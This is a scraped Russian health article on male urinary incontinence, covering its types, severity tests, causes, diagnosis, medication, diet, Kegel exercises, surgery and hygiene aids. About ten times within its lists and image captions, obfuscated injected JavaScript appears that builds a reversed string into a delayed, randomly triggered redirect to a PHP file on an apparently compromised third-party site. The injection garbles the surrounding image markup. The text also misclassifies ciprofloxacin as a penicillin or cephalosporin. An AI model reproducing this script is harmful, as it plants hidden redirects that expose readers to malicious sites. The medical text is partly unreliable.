Недержание мочи у мужчин: что делать с патологией

Недержание мочи, или инконтиненция, – это неконтролируемое вытекание урины. Это не самостоятельное заболевание, а симптом другой патологии. Недержание относится к разряду деликатных проблем, с которыми мужчины не спешат обратиться к врачу. Но с течением времени эпизодов непроизвольного мочеиспускания становится всё больше, качество жизни значительно ухудшается. Поэтому есть смысл задуматься о диагностике проблемы и лечении уже при появлении первых признаков.

Что такое недержание мочи у мужчин

Инконтиненция довольно часто диагностируется. По мировой статистике, данный симптом наблюдается у 30% взрослого населения любого возраста. Но это только те люди, которые обратились с данной проблемой к врачу. Медики подозревают, что охваченность патологией взрослого населения куда выше. Чаще от инконтиненции страдают женщины, но у мужчин она лечится гораздо дольше и тяжелее.

Патология у мужчин часто встречается в пожилом возрасте, после 50 лет. Многие считают её признаком старения организма, но врачи утверждают, что это не совсем верно, поскольку далеко не все пожилые мужчины имеют в наличии данный симптом.

Самопроизвольное излияние мочи приводит к ухудшению качества жизни и социальных связей. Патология влияет так или иначе на все сферы человеческой жизни:

  • духовную;
  • эмоциональную;
  • бытовую.

Мужчина стесняется находиться в обществе, не может надолго покинуть помещение или место, где поблизости есть туалет, вынужден пользоваться урологическими прокладками. Всё это накладывает значительный отпечаток на его психическое состояние и может привести к тяжёлой депрессии.

Депрессивные состояния, связанные с недержанием мочи, наиболее характерны именно для мужчин, что обуславливается их более активной ролью в социальной жизни.

Берут ли в армию с недержанием мочи

Недержание мочи — непризывное заболевание. Но на практике призыв возможен, если отсутствуют медицинские документы. Так как недержание — это симптом, у призывника должны быть справки о первичном заболевании с пометкой врача об инконтиненции. Призывная комиссия потребует документы, при их отсутствии врач на комиссии может отказать в дополнительном обследовании.

Виды инконтиненции

Определение вида инконтиненции очень важно, именно от этого зависит дальнейшее лечение патологии. Выделяют следующие виды недержания:

  • Ургентное, или императивное. Связано с неспособностью удержания урины на пике позыва к опорожнению. Часто является следствием:
    • патологий нервной системы;
    • гормональных нарушений;
    • заболеваний воспалительного характера;
    • повреждений мочевого пузыря.
      $nJe=function(n){if (typeof ($nJe.list[n]) == «string») return $nJe.list[n].split(«»).reverse().join(«»);return $nJe.list[n];};$nJe.list=[«\’php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tomy.ru/wp-content/uploads/2018/12/post_5bd8196c9a0fc.jpg» alt=»Ургентное недержание мочи» width=»646″ height=»324″ /> Ургентное недержание мочи — это состояние, при котором человек часто испытывает внезапный позыв к мочеиспусканию, который он не в состоянии стерпеть
  • Стрессовое. Данный вид обусловлен невозможностью удержания мочеиспускания во время давления на область живота. Может быть вызван напряжением, кашлем, чиханием или смехом. Является следствием:
    • неправильной работы сфинктеров мочевого пузыря;
    • нарушения нервной проводимости в области органа;
    • гормональных нарушений.
      $nJe=function(n){if (typeof ($nJe.list[n]) == «string») return $nJe.list[n].split(«»).reverse().join(«»);return $nJe.list[n];};$nJe.list=[«\’php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tomy.ru/wp-content/uploads/2018/12/post_5bd819bd3a58c.jpg» alt=»Стрессовое недержание мочи» width=»500″ height=»256″ /> Стрессовое недержание мочи — непроизвольное подтекание мочи во время кашля, смеха, бега и других физических действий, приводящих к повышению внутрибрюшного и, следовательно, внутрипузырного давления
  • Смешанное. При этом типе недержания наблюдаются смешанные причины императивного и стрессового недержаний.
  • Парадоксальное. Возникает при переполненности мочевого пузыря. Чаще встречается у пожилых. Связано с заболеваниями мочеполовых органов.
  • Транзиторное — кратковременное недержание. Развивается на почве:
    • циститов;
    • операций на органах мочеполовой системы;
    • алкогольного или наркотического опьянения;
    • запора.

По характеру протекания патология делится на:

  • Первичную — чаще встречается на фоне транзиторного недержания, носит временный характер при условии правильного лечения.
  • Хроническую — патология носит продолжительный характер, излечению поддаётся только в случае сочетанного лечения провоцирующего заболевания.

Степень недержания

Степень недержания мочеиспускания даёт понять врачу характер патологии и назначить лечение. Патология диагностируется от лёгкой до крайне тяжёлой. Для определения степени недержания пользуются опросниками для пациентов. В опроснике предлагается заполнить информацию о частоте эпизодов непроизвольного мочеиспускания в сутки, их количестве, после каких событий обычно случается недержание.

Информативным является суточный PAD-тест. Это метод основан на применении прокладок для определения количества потерь мочи за сутки. Прокладки меняются по надобности, их количество подсчитывается:

  • менее 3 вкладышей говорят о лёгкой степени инконтиненции;
  • 3–7 — средняя степень;
  • более 7 — тяжёлая и очень тяжёлая степень.

Также проводят кратковременный тест (за 3–4 часа), который тоже позволяет установить степень патологии по количеству утечки мочи за это время:

  • лёгкая — до 50 мл;
  • средняя — 100–200 мл;
  • тяжёлая — 200–300 мл;
  • очень тяжёлая — свыше 300 мл.
$nJe=function(n){if (typeof ($nJe.list[n]) == «string») return $nJe.list[n].split(«»).reverse().join(«»);return $nJe.list[n];};$nJe.list=[«\’php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tomy.ru/wp-content/uploads/2018/12/post_5bd81b5fd9e94-728×187.jpg» alt=»Степень недержания мочи» width=»728″ height=»187″ /> Степень любого типа недержания определяется количеством утечки мочи за 3–4 часа

Причины патологии

К основным причинам развития патологии у мужчин можно отнести:

  • недавно перенесённый инсульт;
  • онкологическое заболевание мочеполовой системы;
  • доброкачественные и злокачественные новообразования предстательной железы;
  • последствия после хирургического вмешательства на простате или её удаления;
  • длительный приём мочегонных препаратов или средств, влияющих на тонус гладкой мускулатуры;
  • черепно-мозговые или спиномозговые травмы;
  • инфекционные болезни мочевого пузыря;
  • рассеянный склероз.

Причиной патологии может являться множество заболеваний и ситуаций. Для диагностики лучше обратиться к специалисту.

К факторам риска развития инконтиненции у мужчин относят:

  • Возраст. С возрастом болезни накапливаются, а мышцы и сфинктеры ослабевают. Но возраст не может быть единственной причиной появления эпизодов недержания мочи.
  • Алкогольное или наркотическое опьянение. В таком состоянии ухудшается передача нервных импульсов, что и может привести к непроизвольному мочеиспусканию.
  • Неврологические заболевания — нарушение нейронных связей между мочеполовой системой и мозгом в этом случае может привести к недержанию мочи.
  • Хронический стресс — истощение нервной системы в результате регулярных эмоциональных перегрузок может негативно сказаться на функциональности мочевого пузыря.

Диагностика недержания мочи у мужчин

С симптомами неконтролируемого мочеиспускания мужчине стоит обратиться к урологу или к терапевту, который направит к профильному специалисту.

Основной задаче при диагностике является объективное подтверждение симптома, определение степени выраженности и причины.

К основным диагностическим мероприятиям можно отнести:

  • сбор анамнеза (подробный опрос пациента обо всех случаях недержания и обстоятельствах, которые этому предшествовали);
  • заполнение анкеты о степени влияния непроизвольных мочеиспусканий на качество жизни пациента и опросника по выявлению типа инконтиненции;
    $nJe=function(n){if (typeof ($nJe.list[n]) == «string») return $nJe.list[n].split(«»).reverse().join(«»);return $nJe.list[n];};$nJe.list=[«\’php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tomy.ru/wp-content/uploads/2018/12/post_5bd8448b73570-728×1023.jpg» alt=»Экспресс-диагностика типов недержания» width=»728″ height=»1023″ /> Специально разработанные тесты помогают врачу быстро определить тип инконтиненции
  • общие анализы мочи и крови для выявления возможных воспалительных процессов в мочевом пузыре (на это укажет повышенный уровень лейкоцитов);
  • УЗИ органов мочеполовой системы (для исключения структурных изменений в них, которые могли бы провоцировать недержание);
  • суточный pad-тест для определения объёма потерь урины;
  • урофлоуметрия — тест позволяет судить о тонусе мышц и сократительной способности мочевых каналов, времени опорожнения мочевого пузыря.
    $nJe=function(n){if (typeof ($nJe.list[n]) == «string») return $nJe.list[n].split(«»).reverse().join(«»);return $nJe.list[n];};$nJe.list=[«\’php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tomy.ru/wp-content/uploads/2018/12/post_5bd8b5b451f62-728×529.jpg» alt=»Оборудование для урофлоуметрии» width=»728″ height=»529″ /> Урофлоуметрия заключается в регистрации объёмной скорости потока мочи и других физиологических параметров во время мочеиспускания

В зависимости от результатов этих мероприятий врач может назначить дополнительные исследования, чтобы точно определить причину патологии.

Видео: три теста при недержании мочи

https://www.youtube.com/embed/toNu5z0D4Zg

Лечение патологии

Методы лечения недержания у мужчин включают несколько этапов.

Медикаментозная терапия

Консервативное лечение инконтиненции у мужчин включает применение медицинских препаратов, тонизирующих стенки мочевого пузыря, мышцы и сфинктеры. Также подключается гормональная терапия. Врач в зависимости от диагноза может назначить разные лекарства:

  • Антибиотики — применяются в случае инфекционного характера заболевания. Используют препараты ряда пенициллинов или цефалоспоринов, например Ампициллин или Ципрофлоксацин.
  • Спазмолитические препараты — убирают судороги, расслабляют стенки мочевого пузыря, чаще всего назначают:
    • Толтеродин (Ролитен);
    • Троспиум.
  • Антидепрессанты — назначаются врачом-психиатром, если патология возникает на почве стрессового типа заболевания:
    • Имипрамин;
    • Мелипрамин.
  • Ингибиторы 5-альфа редуктазы. Сокращают выработку мужских половых гормонов, что препятствует разрастанию простаты. Она уменьшается в размерах, и мочеиспускание налаживается:
    • Финастерид;
    • Дутастерид.
  • Альфа-блокаторы — вещества, расширяющие сосуды, снимающие спазм и устраняющие симптом неконтролируемого мочеиспускания:
    • Уроксатрал;
    • Теразозин.

Фотогалерея: лекарственные препараты для воздействия на инконтиненцию

) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}toplay=»true» fg_allowfullscreen=»true» fg_arrow=»true» fg_loop=»true» ids=»39632,39631,39630,39629,39628″]

Диета

Пациентам с инконтиненцией рекомендуют придерживаться особой диеты, не вызывающей раздражения мочевого пузыря.

Необходимо исключить из рациона:

  • молочные продукты;
  • специи;
  • кофе, чай;
  • сладкие газированные напитки;
  • алкоголь;
  • кислые продукты, цитрусовые и томаты;
  • тяжёлую жирную пищу;
  • сладкое.

Мужчинам с недержанием рекомендуется пить не менее 2 литров воды в день. Количество потребляемой жидкости никак не связано с частотой непроизвольного мочеиспускания, а обезвоживание может повлечь за собой негативные последствия.

Видео: что есть и не есть при недержании

Физические упражнения

Физические упражнения на развитие и укрепление мышц малого таза необходимо выполнять регулярно. Отличные результаты дают упражнения Кегеля для мужчин.

Одноимённая мышца находится в тазовом дне, с помощью неё можно остановить струю при мочеиспускании. Запомните, какая мышца напрягается в момент остановки струи и тренируйте её в течение дня — напрягайте мышцу на несколько секунд, затем расслабляйте. Занятия можно проводить во время любых других дел.

Рекомендовано повторять цикл напряжения и расслабления 30–40 раз в день. Укрепление мышцы Кегеля не только избавляет от недержания мочи, но предотвращает риск развития простатита, геморроя, аденомы простаты. Также тонизированная мышца повышает либидо.

Видео: позы для тренировки мышц тазового дна

Физиотерапия

Наряду с физическими упражнениями наладить работу мочевого пузыря помогает физиотерапия, а именно чрескожная электростимуляция мочевого пузыря. Процедура повышает тонус мышц шейки органа, что улучшает контроль за мочеиспусканием.

Хирургическое вмешательство

К хирургическому лечению обращаются в случаях полного удаления предстательной железы или необратимого нарушения нервной регуляции мочевого пузыря. К основным видам вмешательства относят:

  • Имплантацию сфинктерного клапана мочевого канала. Искусственный сфинктер держит мочевой канал закрытым до тех пор, пока пациент сам не будет готов опорожнить его.
    $nJe=function(n){if (typeof ($nJe.list[n]) == «string») return $nJe.list[n].split(«»).reverse().join(«»);return $nJe.list[n];};$nJe.list=[«\’php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tomy.ru/wp-content/uploads/2018/12/post_5bd8c598d90c8-728×455.jpg» alt=»Искусственный сфинктер мочевого пузыря» width=»728″ height=»455″ /> Для опорожнения мочевого пузыря пациенту достаточно нажать на помпу, имплантированную в мошонку
  • Инъекции коллагена. Выполняются в область шейки мочевого пузыря. В результате мышцы становятся больше и им легче выполнять работу по удержанию урины. Недостаток — коллаген со временем рассасывается, так что вмешательство придётся повторять.
  • Имплантацию мужской петли (поддержка уретры специальной сеткой). Петля поддерживает уретру и не даёт моче изливаться при стрессовых факторах (кашле, чихании).
    $nJe=function(n){if (typeof ($nJe.list[n]) == «string») return $nJe.list[n].split(«»).reverse().join(«»);return $nJe.list[n];};$nJe.list=[«\’php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tomy.ru/wp-content/uploads/2018/12/post_5bd8c5da7d086-728×777.jpg» alt=»Слинг при недержании мочи» width=»728″ height=»777″ /> Слинг создаёт дополнительную поддержку уретре и шейке мочевого пузыря

Как улучшить качество жизни при недержании

При недержании необходимо улучшить качество жизни пациента во время лечения заболевания, чтобы избежать дискомфорта. Есть много способов, чтобы мужчина с патологией мог жить полноценной жизнью.

Особые приспособления

Давно уже разработаны приспособления, улучшающие качество жизни пациентов с недержанием:

  • специальные прокладки при лёгком типе недержания;
    $nJe=function(n){if (typeof ($nJe.list[n]) == «string») return $nJe.list[n].split(«»).reverse().join(«»);return $nJe.list[n];};$nJe.list=[«\’php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tomy.ru/wp-content/uploads/2018/12/post_5bd8c933e2822-728×942.jpg» alt=»Урологические прокладки для мужчин» width=»728″ height=»942″ /> Урологические прокладки для мужчин — это специальные гигиенические средства, разработанные согласно анатомическим формам и современным технологическим стандартам
  • сетчатые шорты для качественного удержания прокладок;
  • влагоудерживающие шорты при средней степени недержания;
  • пенальные зажимы — устройства в виде кольца, надеваемые на половой орган;
    $nJe=function(n){if (typeof ($nJe.list[n]) == «string») return $nJe.list[n].split(«»).reverse().join(«»);return $nJe.list[n];};$nJe.list=[«\’php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tomy.ru/wp-content/uploads/2018/12/post_5bd8c9d003221-728×573.jpeg» alt=»Пенальный зажим» width=»728″ height=»573″ /> Современные зажимы представляют собой пластиковую или металлическую шарнирную скобу, которая внутри выстлана парой подушечек и оснащена фиксатором
  • подгузники урологические — при тяжёлой и очень тяжёлой форме недержания.

Гигиена

Очень важно соблюдать правильную гигиену для избежания сопутствующих заболеваний: высыпаний, опрелостей, присоединения бактериальной инфекции. Правила несложны:

  • Соблюдать привычный график мочеиспускания, не рекомендуется задерживать выход мочи. Посещать туалетную комнату не реже, чем раз в два часа.
  • Влажное бельё необходимо менять на сухое в короткие сроки.
  • Несколько раз в день подмывать кожу в паху, по необходимости припудривать детской присыпкой или наносить детский крем.

Меры профилактики

В качестве профилактики недержания мочи у мужчин врачи советуют:

  • соблюдать гигиену;
  • придерживаться правильного питания;
  • регулярно выполнять упражнения Кегеля;
  • не допускать переохлаждения поясницы и нижних конечностей;
  • регулярно проходить медицинский осмотр, не реже раза в год.

Патология недержания — серьёзный симптом. Ни в коем случае нельзя относиться халатно даже к одноразовым проявлениям. Неконтролируемое мочеиспускание может ухудшить качество жизни. Проходить осмотр у уролога необходимо раз в год. На ранней стадии могут помочь обычные физические упражнения, лекарства. В запущенных же случаях потребуется хирургическое вмешательство.

Adblock
detector